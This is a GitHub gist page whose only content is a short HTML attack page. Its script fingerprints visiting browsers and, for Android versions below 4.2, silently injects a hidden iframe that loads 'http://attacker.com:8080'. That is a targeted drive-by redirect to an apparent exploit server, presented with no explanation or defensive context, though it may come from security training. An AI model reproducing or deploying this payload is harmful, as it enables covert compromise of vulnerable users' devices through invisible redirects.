Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@joswr1ght
Last active August 19, 2021 18:15
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save joswr1ght/c95363d91eb72ca22bab to your computer and use it in GitHub Desktop.
Save joswr1ght/c95363d91eb72ca22bab to your computer and use it in GitHub Desktop.
<html><head><script src="Spec.js/lib/Spec.js"></script></head>
<body>
<script>
var spec = new Spec();
if (spec.isDeviceDetected() && spec.getOS() == "Android" &&
parseFloat(spec.getOSVersion()) < 4.2) {
var iframe = document.createElement('iframe');
iframe.style.display="none";
iframe.src = "http://attacker.com:8080";
document.body.appendChild(iframe);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment